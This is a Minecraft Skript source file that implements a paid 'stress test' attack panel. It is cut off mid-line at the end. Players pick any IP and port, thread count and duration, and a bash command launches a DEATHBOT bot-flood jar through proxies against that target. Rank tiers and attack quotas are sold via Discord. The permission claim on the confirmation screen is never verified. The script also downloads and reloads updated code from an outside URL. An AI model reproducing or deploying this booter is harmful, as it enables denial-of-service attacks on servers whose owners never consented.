on load: set {totalconcurrentattacks} to 0 set {skver} to "2.8.9.1" send "&aStressTest cargado correctamente (V: %{skver}%)" to the console loop {concurrentattacks::*}: add 1 to {totalconcurrentattacks} send "&bAtaques sin finalizar: %{totalconcurrentattacks}% &7(cuando el servidor cicle si ya han expirado se borrarán)" to the console wait 1 second loop all players: send "&aAttack panel plugin was updated, you can now go and send more attacks!" to the loop-player on unload: send "&cStressTest descargado..." to the console loop all players: send "&aWe need to close all panels to avoid bugs while we update our attack plugin, please wait..." to the loop-player close loop-player's inventory on join: set join message to "" on quit: set quit message to "" command /clear []: trigger: loop 100 times: send " " to the player function planreset(p: player): wait 5 tick if {stress_ataques_restantes::%{_p}%} is not set: if {_p} has permission "stress.tester": #10 ataques diarios set {stress_ataques_restantes::%{_p}%} to 15 set {_noesuser} to 1 if {_p} has permission "stress.tester+": #10 ataques diarios set {stress_ataques_restantes::%{_p}%} to 17 set {_noesuser} to 1 if {_p} has permission "stress.tester++": #15 ataques diarios set {stress_ataques_restantes::%{_p}%} to 20 set {_noesuser} to 1 if {_p} has permission "stress.insane": #20 ataques diarios set {stress_ataques_restantes::%{_p}%} to 25 set {_noesuser} to 1 if {_p} has permission "stress.master": #25 ataques diarios set {stress_ataques_restantes::%{_p}%} to 30 set {_noesuser} to 1 if {_p} has permission "stress.godlike": #30 ataques diarios set {stress_ataques_restantes::%{_p}%} to 35 set {_noesuser} to 1 if {_p} has permission "stress.godlikeunlimited": #ilimi ataques diarios set {stress_ataques_restantes::%{_p}%} to 9999999 set {_noesuser} to 1 else: if {_noesuser} is not set: #5 ataques diarios set {stress_ataques_restantes::%{_p}%} to 10 send "&aYour plan was renewed! You now have %{stress_ataques_restantes::%{_p}%}% remaining stress tests attacks." to {_p} on quit: delete {tuto_ini::%player%} on authme login: remove invisibility from player delete {anim::%{_p}%} delete {tuto_ini::%player%} teleport the player to {svspawn} wait 7 seconds softreload() if {stresser_primer_ataque::%player%} is set: if difference between {stresser_primer_ataque::%player%} and now is more than 24 hours: wait 1 second delete {stress_ataques_restantes::%player%} delete {stresser_primer_ataque::%player%} planreset(player) if {stresser_primer_ataque::%player%} is not set: if {stress_ataques_restantes::%{_p}%} is not set: send "&aWelcome! We're creating your stress test plan..." to the player send "&aYou can attack using &e/stresstest IP:PORT" to the player wait 1 second planreset(player) wait 2 seconds send "&b " to player send "&cYour remaining stress test attacks:&4&l %{stress_ataques_restantes::%player%}%" to the player send "&aYou can attack using &e/stresstest IP:PORT" to the player function tiempo(p: player, sec: number, ip: text, puerto: number): if {secs::%{_p}%::%{_ip}%}+{_sec} is less than 5: set {secs::%{_p}%::%{_ip}%} to 5 send "&cYou can't make an attack that last less than 5 seconds." to {_p} menu({_p}, "%{_ip}%", {_puerto},0) stop if {_p} is op: add {_sec} to {secs::%{_p}%::%{_ip}%} menu({_p}, "%{_ip}%", {_puerto},0) stop if {_p} have permission "stress.tester": if {secs::%{_p}%::%{_ip}%}+{_sec} is more than 35+{extrausersecs::%{_p}%}: set {secs::%{_p}%::%{_ip}%} to 35+{extrausersecs::%{_p}%} send "&cYou cannot add more seconds to the attack due to your rank. Please consider upgrading or buy separated extra seconds. To upgrade use /buy." to {_p} menu({_p}, "%{_ip}%", {_puerto},0) stop else: add {_sec} to {secs::%{_p}%::%{_ip}%} menu({_p}, "%{_ip}%", {_puerto},0) stop if {_p} have permission "stress.tester+": if {secs::%{_p}%::%{_ip}%}+{_sec} is more than 40+{extrausersecs::%{_p}%}: set {secs::%{_p}%::%{_ip}%} to 40+{extrausersecs::%{_p}%} send "&cYou cannot add more seconds to the attack due to your rank. Please consider upgrading or buy separated extra seconds. To upgrade use /buy." to {_p} menu({_p}, "%{_ip}%", {_puerto},0) stop else: add {_sec} to {secs::%{_p}%::%{_ip}%} menu({_p}, "%{_ip}%", {_puerto},0) stop if {_p} have permission "stress.tester++": if {secs::%{_p}%::%{_ip}%}+{_sec} is more than 60+{extrausersecs::%{_p}%}: set {secs::%{_p}%::%{_ip}%} to 60+{extrausersecs::%{_p}%} send "&cYou cannot add more seconds to the attack due to your rank. Please consider upgrading or buy separated extra seconds. To upgrade use /buy." to {_p} menu({_p}, "%{_ip}%", {_puerto},0) stop else: add {_sec} to {secs::%{_p}%::%{_ip}%} menu({_p}, "%{_ip}%", {_puerto},0) stop if {_p} have permission "stress.insane": if {secs::%{_p}%::%{_ip}%}+{_sec} is more than 120+{extrausersecs::%{_p}%}: set {secs::%{_p}%::%{_ip}%} to 120+{extrausersecs::%{_p}%} send "&cYou cannot add more seconds to the attack due to your rank. Please consider upgrading or buy separated extra seconds. To upgrade use /buy." to {_p} menu({_p}, "%{_ip}%", {_puerto},0) stop else: add {_sec} to {secs::%{_p}%::%{_ip}%} menu({_p}, "%{_ip}%", {_puerto},0) stop if {_p} have permission "stress.master": if {secs::%{_p}%::%{_ip}%}+{_sec} is more than 200+{extrausersecs::%{_p}%}: set {secs::%{_p}%::%{_ip}%} to 200+{extrausersecs::%{_p}%} send "&cYou cannot add more seconds to the attack due to your rank. Please consider upgrading or buy separated extra seconds. To upgrade use /buy." to {_p} menu({_p}, "%{_ip}%", {_puerto},0) stop else: add {_sec} to {secs::%{_p}%::%{_ip}%} menu({_p}, "%{_ip}%", {_puerto},0) stop if {_p} have permission "stress.godlike": if {secs::%{_p}%::%{_ip}%}+{_sec} is more than 300+{extrausersecs::%{_p}%}: set {secs::%{_p}%::%{_ip}%} to 300+{extrausersecs::%{_p}%} send "&cYou reached the max amount of seconds per attack avaliable! You can buy separated extra seconds. To upgrade use /buy." to {_p} menu({_p}, "%{_ip}%", {_puerto},0) stop else: add {_sec} to {secs::%{_p}%::%{_ip}%} menu({_p}, "%{_ip}%", {_puerto},0) stop if {_p} have permission "stress.godlikeunlimited": if {secs::%{_p}%::%{_ip}%}+{_sec} is more than 300+{extrausersecs::%{_p}%}: set {secs::%{_p}%::%{_ip}%} to 300+{extrausersecs::%{_p}%} send "&cYou reached the max amount of seconds per attack avaliable! You can buy separated extra seconds. To upgrade use /buy." to {_p} menu({_p}, "%{_ip}%", {_puerto},0) stop else: add {_sec} to {secs::%{_p}%::%{_ip}%} menu({_p}, "%{_ip}%", {_puerto},0) stop else: if {secs::%{_p}%::%{_ip}%}+{_sec} is more than 15+{extrausersecs::%{_p}%}: set {secs::%{_p}%::%{_ip}%} to 15+{extrausersecs::%{_p}%} send "&cYou cannot add more seconds to the attack due to your rank. Please consider buying a rank. To upgrade use /buy." to {_p} menu({_p}, "%{_ip}%", {_puerto},0) stop else: add {_sec} to {secs::%{_p}%::%{_ip}%} menu({_p}, "%{_ip}%", {_puerto},0) stop function threads(p: player, thr: number, ip: text, puerto: number): if {threads::%{_p}%::%{_ip}%}+{_thr} is less than 1: set {threads::%{_p}%::%{_ip}%} to 1 send "&cYou can't go under 1 thread." to {_p} menu({_p}, "%{_ip}%", {_puerto},0) stop if {_p} is op: add {_thr} to {threads::%{_p}%::%{_ip}%} menu({_p}, "%{_ip}%", {_puerto},0) stop if {_p} have permission "stress.tester": if {threads::%{_p}%::%{_ip}%}+{_thr} is more than 1500+{extrauserthreads::%{_p}%}: set {threads::%{_p}%::%{_ip}%} to 1500+{extrauserthreads::%{_p}%} send "&cYou cannot add more threads to the attack due to your rank. Please consider upgrading." to {_p} menu({_p}, "%{_ip}%", {_puerto},0) stop else: add {_thr} to {threads::%{_p}%::%{_ip}%} menu({_p}, "%{_ip}%", {_puerto},0) stop if {_p} have permission "stress.tester+": if {threads::%{_p}%::%{_ip}%}+{_thr} is more than 1750+{extrauserthreads::%{_p}%}: set {threads::%{_p}%::%{_ip}%} to 1750+{extrauserthreads::%{_p}%} send "&cYou cannot add more threads to the attack due to your rank. Please consider upgrading." to {_p} menu({_p}, "%{_ip}%", {_puerto},0) stop else: add {_thr} to {threads::%{_p}%::%{_ip}%} menu({_p}, "%{_ip}%", {_puerto},0) stop if {_p} have permission "stress.tester++": if {threads::%{_p}%::%{_ip}%}+{_thr} is more than 2000+{extrauserthreads::%{_p}%}: set {threads::%{_p}%::%{_ip}%} to 2000+{extrauserthreads::%{_p}%} send "&cYou cannot add more threads to the attack due to your rank. Please consider upgrading." to {_p} menu({_p}, "%{_ip}%", {_puerto},0) stop else: add {_thr} to {threads::%{_p}%::%{_ip}%} menu({_p}, "%{_ip}%", {_puerto},0) stop if {_p} have permission "stress.insane": if {threads::%{_p}%::%{_ip}%}+{_thr} is more than 5000+{extrauserthreads::%{_p}%}: set {threads::%{_p}%::%{_ip}%} to 5000+{extrauserthreads::%{_p}%} send "&cYou cannot add more threads to the attack due to your rank. Please consider upgrading." to {_p} menu({_p}, "%{_ip}%", {_puerto},0) stop else: add {_thr} to {threads::%{_p}%::%{_ip}%} menu({_p}, "%{_ip}%", {_puerto},0) stop if {_p} have permission "stress.master": if {threads::%{_p}%::%{_ip}%}+{_thr} is more than 7500+{extrauserthreads::%{_p}%}: set {threads::%{_p}%::%{_ip}%} to 7500+{extrauserthreads::%{_p}%} send "&cYou cannot add more threads to the attack due to your rank. Please consider upgrading." to {_p} menu({_p}, "%{_ip}%", {_puerto},0) stop else: add {_thr} to {threads::%{_p}%::%{_ip}%} menu({_p}, "%{_ip}%", {_puerto},0) stop if {_p} have permission "stress.godlike": if {threads::%{_p}%::%{_ip}%}+{_thr} is more than 15000+{extrauserthreads::%{_p}%}: set {threads::%{_p}%::%{_ip}%} to 15000+{extrauserthreads::%{_p}%} send "&cYou reached the max amount of threads avaliable!" to {_p} menu({_p}, "%{_ip}%", {_puerto},0) stop else: add {_thr} to {threads::%{_p}%::%{_ip}%} menu({_p}, "%{_ip}%", {_puerto},0) stop if {_p} have permission "stress.godlikeunlimited": if {threads::%{_p}%::%{_ip}%}+{_thr} is more than 15000+{extrauserthreads::%{_p}%}: set {threads::%{_p}%::%{_ip}%} to 15000+{extrauserthreads::%{_p}%} send "&cYou reached the max amount of threads avaliable!" to {_p} menu({_p}, "%{_ip}%", {_puerto},0) stop else: add {_thr} to {threads::%{_p}%::%{_ip}%} menu({_p}, "%{_ip}%", {_puerto},0) stop else: if {threads::%{_p}%::%{_ip}%}+{_thr} is more than 1000+{extrauserthreads::%{_p}%}: set {threads::%{_p}%::%{_ip}%} to 1000+{extrauserthreads::%{_p}%} send "&cYou cannot add more threads to the attack due to your rank. Please consider buying a rank." to {_p} menu({_p}, "%{_ip}%", {_puerto},0) stop else: add {_thr} to {threads::%{_p}%::%{_ip}%} menu({_p}, "%{_ip}%", {_puerto},0) stop function resetsettings(p: player, silent: number): delete {secs::%{_p}%::*} delete {threads::%{_p}%::*} delete {anim::%{_p}%} delete {vers_attack::%{_p}%} if {_silent} is 1: send "&cSettings were deleted and attack was cancelled." to {_p} on inventory close: #broadcast "%inventory name of current inventory of player%" if "%inventory name of current inventory of player%" is "&4&lAttack Panel &e[%{totalconcurrentattacks}%/5]" or "&4&lADS": wait 3 tick if "%inventory name of current inventory of player%" is not "&9&lConfirm attack?" or "&4&lAttack Panel &e[%{totalconcurrentattacks}%/5]": resetsettings(player,1) function changever(p: player, ip: text, puerto: number): if {vers_attack::%{_p}%} is "1.8": set {vers_attack::%{_p}%} to "1.9" else: if {vers_attack::%{_p}%} is "1.9": set {vers_attack::%{_p}%} to "1.10" else: if {vers_attack::%{_p}%} is "1.10": set {vers_attack::%{_p}%} to "1.11" else: if {vers_attack::%{_p}%} is "1.11": set {vers_attack::%{_p}%} to "1.12" else: if {vers_attack::%{_p}%} is "1.12": set {vers_attack::%{_p}%} to "1.12.2" else: if {vers_attack::%{_p}%} is "1.12.2": set {vers_attack::%{_p}%} to "1.8" menu({_p}, "%{_ip}%", {_puerto},1) function menu(p: player, ip: text, puerto: number, refresh: number): if {ultimo_ataque::%{_p}%::ip} is set: set {ultimo_ataque::%{_p}%::proto} to "1.8" if {vers_attack::%{_p}%} is not set: set {vers_attack::%{_p}%} to "1.8" if {secs::%{_p}%::%{_ip}%} is not set: set {secs::%{_p}%::%{_ip}%} to 5 if {threads::%{_p}%::%{_ip}%} is not set: set {threads::%{_p}%::%{_ip}%} to 100 if "%inventory name of current inventory of {_p}%" is not "&4&lAttack Panel &e[%{totalconcurrentattacks}%/5]": open chest with 5 rows named "&4&lAttack Panel &e[%{totalconcurrentattacks}%/5]" to {_p} if {_refresh} is 0: wait 1 tick else: wait 3 tick set {_c} to 0 if {anim::%{_p}%} is not set: set {_random} to blue glass or orange glass or green glass or light green glass or light blue glass or red glass or pink glass or purple glass or yellow glass loop 9 times: format slot {_c} of {_p} with 1 of {_random} named " " to be unstealable add 1 to {_c} set {_c} to 36 loop 9 times: format slot {_c} of {_p} with 1 of {_random} named " " to be unstealable add 1 to {_c} #threads format slot 9 of {_p} with diamond named "&b+100 Threads" with lore "&eAdd 100 threads to the &btotal" to run [threads({_p}, 100,"%{_ip}%",{_puerto})] format slot 18 of {_p} with lapis lazuli named "&b+500 Threads" with lore "&eAdd 500 threads to the &btotal" to run [threads({_p}, 500,"%{_ip}%",{_puerto})] format slot 27 of {_p} with iron ingot named "&b+10 Threads" with lore "&eAdd 10 threads to the &btotal" to run [threads({_p}, 10,"%{_ip}%",{_puerto})] format slot 11 of {_p} with redstone named "&b-100 Threads" with lore "&eRemove 100 threads from the &btotal" to run [threads({_p}, -100,"%{_ip}%",{_puerto})] format slot 20 of {_p} with coal named "&b-500 Threads" with lore "&eRemove 500 threads from the &btotal" to run [threads({_p}, -500,"%{_ip}%",{_puerto})] format slot 29 of {_p} with gold ingot named "&b-10 Threads" with lore "&eRemove 100 threads from the &btotal" to run [threads({_p}, -10,"%{_ip}%",{_puerto})] if {extrauserthreads::%{_p}%} is set: format slot 19 of {_p} with map named "&dTotal Threads: %{threads::%{_p}%::%{_ip}%}%" with lore "&7&o(Extra threads: %{extrauserthreads::%{_p}%}%)" to be unstealable else: format slot 19 of {_p} with map named "&dTotal Threads: %{threads::%{_p}%::%{_ip}%}%" with lore "&7&o(Extra threads: 0)||&7&oBuy some OwO!!||||||&7&oBuy more with /buy!" to be unstealable #threads #tiempo format slot 15 of {_p} with diamond named "&b+100 seconds" with lore "&eAdd 100 seconds to the &battack" to run [tiempo({_p}, 100,"%{_ip}%",{_puerto})] format slot 33 of {_p} with iron ingot named "&b+10 seconds" with lore "&eAdd 10 seconds to the &battack" to run [tiempo({_p}, 10,"%{_ip}%",{_puerto})] format slot 17 of {_p} with redstone named "&b-100 seconds" with lore "&eRemove 100 seconds from the &battack" to run [tiempo({_p}, -100,"%{_ip}%",{_puerto})] format slot 35 of {_p} with gold ingot named "&b-10 seconds" with lore "&eRemove 100 seconds from the &battack" to run [tiempo({_p}, -10,"%{_ip}%",{_puerto})] if {extrausersecs::%{_p}%} is set: format slot 25 of {_p} with book named "&dSeconds: %{secs::%{_p}%::%{_ip}%}%" with lore "&7&o(Extra seconds: %{extrausersecs::%{_p}%}%)" to be unstealable else: format slot 25 of {_p} with book named "&dSeconds: %{secs::%{_p}%::%{_ip}%}%" with lore "&7&o(Extra seconds: 0)||&7&oBuy some OwO!!||||||&7&oBuy more with /buy!" to be unstealable #tiempo format slot 13 of {_p} with emerald named "&2&l&nCONFIRM" with lore "&eClick to confirm the settings||&eof this &c&nattack&r&e.||||&7&oPlease check carefully before||&7&olaunching the attack." to run [confirmar({_p},"%{_ip}%",{_puerto})] format slot 22 of {_p} with paper named "&c&l&oAttack settings" with lore "&e&l=====================||&bIP: %{_ip}%||&bPort: %{_puerto}%||&bThreads: %{threads::%{_p}%::%{_ip}%}%||&bSeconds: %{secs::%{_p}%::%{_ip}%}%||&bMC Version: %{vers_attack::%{_p}%}%||&e&l=====================||||||||&7&oIf you find a bug please report it to||&7&o@RealRunSpace at discord by creating||&7&oa new ticket using -new (reason)" to be unstealable #ver if {vers_attack::%{_p}%} is "1.8": format slot 34 of {_p} with slime block named "&e&lAttack Version: %{vers_attack::%{_p}%}%" with lore "&dClick to change the Minecraft version" to run [changever({_p},"%{_ip}%",{_puerto})] if {vers_attack::%{_p}%} is "1.9": format slot 34 of {_p} with sponge named "&e&lAttack Version: %{vers_attack::%{_p}%}%" with lore "&dClick to change the Minecraft version" to run [changever({_p},"%{_ip}%",{_puerto})] if {vers_attack::%{_p}%} is "1.10": format slot 34 of {_p} with redstone block named "&e&lAttack Version: %{vers_attack::%{_p}%}%" with lore "&dClick to change the Minecraft version" to run [changever({_p},"%{_ip}%",{_puerto})] if {vers_attack::%{_p}%} is "1.11": format slot 34 of {_p} with grass named "&e&lAttack Version: %{vers_attack::%{_p}%}%" with lore "&dClick to change the Minecraft version" to run [changever({_p},"%{_ip}%",{_puerto})] if {vers_attack::%{_p}%} is "1.12": format slot 34 of {_p} with sea lantern named "&e&lAttack Version: %{vers_attack::%{_p}%}%" with lore "&dClick to change the Minecraft version" to run [changever({_p},"%{_ip}%",{_puerto})] if {vers_attack::%{_p}%} is "1.12.2": format slot 34 of {_p} with jukebox named "&e&lAttack Version: %{vers_attack::%{_p}%}%" with lore "&dClick to change the Minecraft version" to run [changever({_p},"%{_ip}%",{_puerto})] #ver if {ultimo_ataque::%{_p}%::ip} is set: format slot 31 of {_p} with eye of ender named "&cSet last attack settings (usefull for fast renews)" with lore "&e&lClick to delete current settings||&e&land apply the settings of your||&e&last succesfull attack.||||&c&lLAST ATTACK SETTINGS||&e&l=====================||&3IP: %{ultimo_ataque::%{_p}%::ip}%:%{ultimo_ataque::%{_p}%::puerto}%||&3Time: %{ultimo_ataque::%{_p}%::secs}% seconds||&3Threads: %{ultimo_ataque::%{_p}%::threads}%||&3Attack version: %{ultimo_ataque::%{_p}%::proto}%" to run [renovarataqueanterior({_p})] else: format slot 31 of {_p} with eye of ender named "&cSet last attack settings (usefull for fast renews)" with lore "&e&lClick to delete current settings||&e&land apply the settings of your||&e&last succesfull attack.||||&c&lLAST ATTACK SETTINGS||&e&l=====================||&3You don't have previous attacks :(" to run [renovarataqueanterior({_p})] if {anim::%{_p}%} is not set: set {anim::%{_p}%} to 1 set {_last} to {_random} while "%inventory name of current inventory of {_p}%" is "&4&lAttack Panel &e[%{totalconcurrentattacks}%/5]": if {_last} is {_random}: while {_last} is {_random}: set {_random} to blue glass or orange glass or green glass or light green glass or light blue glass or red glass or pink glass or purple glass or yellow glass set {_last} to {_random} set {_c} to 0 loop 9 times: format slot {_c} of {_p} with 1 of {_random} named " " to be unstealable add 36 to {_c} format slot {_c} of {_p} with 1 of {_random} named " " to be unstealable remove 35 from {_c} wait 10 tick if "%inventory name of current inventory of {_p}%" is not "&4&lAttack Panel &e[%{totalconcurrentattacks}%/5]": if "%inventory name of current inventory of {_p}%" contains "&4&lAttack Panel": menu({_p}, "%{_ip}%", {_puerto},1) else: delete {anim::%{_p}%} stop wait 1 tick function renovarataqueanterior(p: player): if {ultimo_ataque::%{_p}%::ip} is set: send "&cLast attack settings recovered, restoring now in your panel..." to {_p} set {secs::%{_p}%::%{ultimo_ataque::%{_p}%::ip}%} to {ultimo_ataque::%{_p}%::secs} set {threads::%{_p}%::%{ultimo_ataque::%{_p}%::ip}%} to {ultimo_ataque::%{_p}%::threads} set {ultimo_ataque::%{_p}%::proto} to {vers_attack::%{_p}%} wait 4 tick menu({_p}, "%{ultimo_ataque::%{_p}%::ip}%", {ultimo_ataque::%{_p}%::puerto},1) else: send "&cYou can't restore an attack if you didn't attack first!" to {_p} function confirmar(p: player, ip: text, puerto: number): close {_p}'s inventory wait 1 tick open chest with 5 rows named "&9&lConfirm attack?" to {_p} wait 1 tick set {_timer} to 10 if {_p} have permission "stress.dev": set {_timer} to 1 send "&aTienes permiso de desarrollador, ajustando espera a 1 segundo..." to {_p} while {_timer} is not 0: set {_c} to 0 loop 45 times: if {_timer} is 10 or 9: format slot {_c} of {_p} with {_timer} of red wool named "&c&lWait %{_timer}% seconds to continue" with lore "&4&l&nBY LAUNCHING THE ATTACK YOU||&4&l&nAGREE TO THIS TERMS and conditions||||&e- &bWe log this action for security purposes||&e- &bThe server &d&n%{_ip}%&r&b has given you the permission to launch this attack||&e- &bYou are responsible of the damage done by the attack||&e- &bWe &c&lwon't &bshare any logs except for a legal order||||||&3&oYou can cancel the attack by closing this menu" to be unstealable if {_timer} is 8 or 7: format slot {_c} of {_p} with {_timer} of orange wool named "&c&lWait %{_timer}% seconds to continue" with lore "&4&l&nBY LAUNCHING THE ATTACK YOU||&4&l&nAGREE TO THIS TERMS and conditions||||&e- &bWe log this action for security purposes||&e- &bThe server &d&n%{_ip}%&r&b has given you the permission to launch this attack||&e- &bYou are responsible of the damage done by the attack||&e- &bWe &c&lwon't &bshare any logs except for a legal order||||||&3&oYou can cancel the attack by closing this menu" to be unstealable if {_timer} is 6 or 5: format slot {_c} of {_p} with {_timer} of yellow wool named "&c&lWait %{_timer}% seconds to continue" with lore "&4&l&nBY LAUNCHING THE ATTACK YOU||&4&l&nAGREE TO THIS TERMS and conditions||||&e- &bWe log this action for security purposes||&e- &bThe server &d&n%{_ip}%&r&b has given you the permission to launch this attack||&e- &bYou are responsible of the damage done by the attack||&e- &bWe &c&lwon't &bshare any logs except for a legal order||||||&3&oYou can cancel the attack by closing this menu" to be unstealable if {_timer} is 3 or 4: format slot {_c} of {_p} with {_timer} of light blue wool named "&c&lWait %{_timer}% seconds to continue" with lore "&4&l&nBY LAUNCHING THE ATTACK YOU||&4&l&nAGREE TO THIS TERMS and conditions||||&e- &bWe log this action for security purposes||&e- &bThe server &d&n%{_ip}%&r&b has given you the permission to launch this attack||&e- &bYou are responsible of the damage done by the attack||&e- &bWe &c&lwon't &bshare any logs except for a legal order||||||&3&oYou can cancel the attack by closing this menu" to be unstealable if {_timer} is 2 or 1: format slot {_c} of {_p} with {_timer} of light green wool named "&c&lWait %{_timer}% seconds to continue" with lore "&4&l&nBY LAUNCHING THE ATTACK YOU||&4&l&nAGREE TO THIS TERMS and conditions||||&e- &bWe log this action for security purposes||&e- &bThe server &d&n%{_ip}%&r&b has given you the permission to launch this attack||&e- &bYou are responsible of the damage done by the attack||&e- &bWe &c&lwon't &bshare any logs except for a legal order||||||&3&oYou can cancel the attack by closing this menu" to be unstealable add 1 to {_c} wait 1 seconds if "%inventory name of current inventory of {_p}%" is not "&9&lConfirm attack?": send "&aAttack to %{_ip}% was cancelled succesfully." to {_p} resetsettings({_p},1) stop remove 1 from {_timer} set {_c} to 0 loop 45 times: format slot {_c} of {_p} with light green wool named "&2&lTERMS &NAGREED&R &2&l&nCORRECTLY" with lore "&4&l&nBY LAUNCHING THE ATTACK YOU||&4&l&nAGREE TO THIS TERMS and conditions||||&e- &bWe log this action for security purposes||&e- &bThe server &d&n%{_ip}%&r&b has given you the permission to launch this attack||&e- &bYou are responsible of the damage done by the attack||&e- &bWe &c&lwon't &bshare any logs except for a legal order||||||&3&oYou can cancel the attack by closing this menu" to be unstealable add 1 to {_c} format slot 22 of {_p} with diamond sword named "&aLaunch the attack!" with lore "&3By launching this attack||&byou agree to our terms & conditions" to close then run [atacar({_p},"%{_ip}%",{_puerto})] set {_timer} to 15 while {_timer} is not 0: wait 1 seconds remove 1 from {_timer} if "%inventory name of current inventory of {_p}%" is not "&9&lConfirm attack?": stop send "&aAttack to %{_ip}% was cancelled succesfully because there was no activity in 15 seconds after confirmation button appeared." to {_p} #cierra cualquier menu pasados 10 secs, arreglar. close {_p}'s inventory resetsettings({_p}, 0) # Made By RealRunSpace for personal purposed, with allowed license for BlazeNetwork & BotSentry and for BlackDemonZyT every 5 seconds: loop {concurrentattacks::*}: if now is not more than {attackend::%loop-value%}: send "&eAtaque: %loop-value%, Fin en +/-: %difference between {attackend::%loop-value%} and now%, ataque de %{attackowner::%loop-value%}%" to the console if {attackowner::%loop-value%} is online: set action bar of {attackowner::%loop-value%} to "&cYou have an attack running... It will &nexpire&r&c in&e %difference between now and {playerisattacking::%{attackowner::%loop-value%}%}%&c. Attacks &3&nremaining&r&c:&4&l %{stress_ataques_restantes::%{attackowner::%loop-value%}%}%" if now is more than {attackend::%loop-value%}: set action bar of {attackowner::%loop-value%} to "&c&lYour last attack has ended&r&c. Attacks &3&nremaining&r&c:&4&l %{stress_ataques_restantes::%{attackowner::%loop-value%}%}%" send "&cAtaque No. %loop-value% ha cumplido el tiempo, borrando..." to the console remove loop-value from {concurrentattacks::*} remove 1 from {totalconcurrentattacks} delete {attackowner::%loop-value%} send message "```Finished Test Attack with ID ##%loop-value%```" to channel "464158418383536138" as "StressBot" send message "```Ataque con ID ##%loop-value% finalizado [%{totalconcurrentattacks}%/5]```" to channel "464777848469585935" as "StressBot" on weather change: set weather to sunny function softreload(): set {_ver} to text from url "http://skrrs.zonahosting.us/botsentry/version.txt" parsed as text if "%{skver}%" is not "%{_ver}%": send "&cHay una actualizacion mas reciente, descargando... [%{skver}% >> %{_ver}%]" to the console download from "http://skrrs.zonahosting.us/botsentry/updated.sk" to "plugins/Skript/scripts/%script%.sk" send "&aDescargada, reiniciando Panel" to the console execute console command "/sk reload %script%" function atacar(p: player, ip: text, puerto: number): if {totalconcurrentattacks} is less than 5: if {stress_ataques_restantes::%{_p}%} is more than 0: #protocolo,mc ver if {vers_attack::%{_p}%} is "1.8": set {_proto} to 47 if {vers_attack::%{_p}%} is "1.9": set {_proto} to 107 if {vers_attack::%{_p}%} is "1.10": set {_proto} to 210 if {vers_attack::%{_p}%} is "1.11": set {_proto} to 315 if {vers_attack::%{_p}%} is "1.12": set {_proto} to 335 if {vers_attack::%{_p}%} is "1.12.2": set {_proto} to 340 #protocolo,mc ver add 1 to {totalattacks} #guardar ultimo ataque set {ultimo_ataque::%{_p}%::ip} to "%{_ip}%" set {ultimo_ataque::%{_p}%::proto} to {_proto} set {ultimo_ataque::%{_p}%::puerto} to {_puerto} set {ultimo_ataque::%{_p}%::secs} to {secs::%{_p}%::%{_ip}%} set {ultimo_ataque::%{_p}%::threads} to {threads::%{_p}%::%{_ip}%} #guardar ultimo ataque #guardar datos del ataque set {attackend::%{totalattacks}%} to now set {attackproto::%{totalattacks}%} to {vers_attack::%{_p}%} set {attackowner::%{totalattacks}%} to {_p} set {attackip::%{totalattacks}%} to "%{_ip}%:%{_puerto}%" set {attackthreads::%{totalattacks}%} to {threads::%{_p}%::%{_ip}%} set {attacktsecs::%{totalattacks}%} to {secs::%{_p}%::%{_ip}%} #guardar datos del ataque send "&eDebug: %{_p}% ha lanzado un ataque a %{_ip}%:%{_puerto}%" to the console loop {secs::%{_p}%::%{_ip}%} times: add 1 second to {_secs} add {_secs} to {attackend::%{totalattacks}%} add {totalattacks} to {concurrentattacks::*} add 1 to {totalconcurrentattacks} remove 1 from {stress_ataques_restantes::%{_p}%} if {stresser_primer_ataque::%{_p}%} is not set: set {stresser_primer_ataque::%{_p}%} to now set {playerisattacking::%{_p}%} to now add {_secs} to {playerisattacking::%{_p}%} if file "plugins/BotSentryLOGS/jugadores/%{_p}%.yml" doesn't exists: create file "plugins/BotSentryLOGS/jugadores/%{_p}%.yml" wait 1 tick wf "Fecha: %now% ||ID ##%{totalattacks}% || Realiza ataque a: %{_ip}%:%{_puerto}% (Threads: %{threads::%{_p}%::%{_ip}%}%) con una duracion de %{secs::%{_p}%::%{_ip}%}% segundos" to "plugins/BotSentryLOGS/jugadores/%{_p}%.yml" send message "```Started Test Attack with ID ##%{totalattacks}% with %{threads::%{_p}%::%{_ip}%}% threads for %{secs::%{_p}%::%{_ip}%}% seconds...```" to channel "464158418383536138" as "StressBot" send message "```Ataque del jugador %{_p}% ##%{totalattacks}% con %{threads::%{_p}%::%{_ip}%}% threads durante %{secs::%{_p}%::%{_ip}%}% segundos enviado a la IP %{_ip}%:%{_puerto}% [%{totalconcurrentattacks}%/5]```" to channel "464777848469585935" as "StressBot" send "&eDebug: finaliza en %{_secs}% (%{attackend::%{totalattacks}%}%)" to the console send "&aAttack was sent &nsuccessfully&r &ato &dIP: %{_ip}%:%{_puerto}%&a with &b%{threads::%{_p}%::%{_ip}%}% threads&a for &e%{secs::%{_p}%::%{_ip}%}% seconds" to {_p} send " " to {_p} if {stress_ataques_restantes::%{_p}%} is 0: send "&cAttacks remaining: &40&c, consider buying &6&nextra&r&c attacks in&9 https://discord.gg/kPy92fu" to {_p} else: send "&cAttacks remaining: &a%{stress_ataques_restantes::%{_p}%}%" to {_p} run bash cmd "java -jar /home/desktop/Escritorio/DEATHBOT/Bot3.999.jar -move false -ping false -pingamount 1 -host %{_ip}% -port %{_puerto}% -threads %{threads::%{_p}%::%{_ip}%}% -nicksize 16 -stay false -stayl 20 -nicks RANDOM -spam false -ach false -doublej false -joinamount 5 -protocol %{_proto}% -msg 'Test Attack from BotSentry Test Server ' -amount 20 -proxymode HTTP -login /login test123 -register /register test123 test123 -time %{secs::%{_p}%::%{_ip}%}%" delete {secs::%{_p}%::%{_ip}%} delete {threads::%{_p}%::%{_ip}%} stop else: set {_tiiiimeee} to {stresser_primer_ataque::%{_p}%} add 24 hours to {_tiiiimeee} send "&cWhoops, you've ran out of test attacks! You can buy more in our &bDiscord &cor wait &424 hours! &7&o(Remaining: %difference between {_diff} and now%)" to {_p} else: send "&cThe server is currently hosting 5 out of 5 attacks, please wait until one attack ends. You can see the attacks running on the attack menu, it will be updated once one attacks ends." to {_p} on break: if player is op: stop else: cancel event on place: if player is op: stop else: cancel event on drop: if player is op: stop else: cancel event function htop(p: player): run bash cmd "ps auxf > /home/desktop/Escritorio/BOTSLOBBY/plugins/BotSentryLOGS/bash/htop.txt" wait 10 tick set {_tx} to content of file "plugins/BotSentryLOGS/bash/htop.txt" send "%{_tx}%" to {_p} function ad(p: player, ip: text, puerto: number): open chest with 1 rows named "&4&lADS" to {_p} wait 1 tick set {_c} to 0 loop 9 times: format slot {_c} of {_p} with red glass named "&3&l&nAD&r &7(%({_c}+1)*10%%%)" with lore "&b&lThanks for using 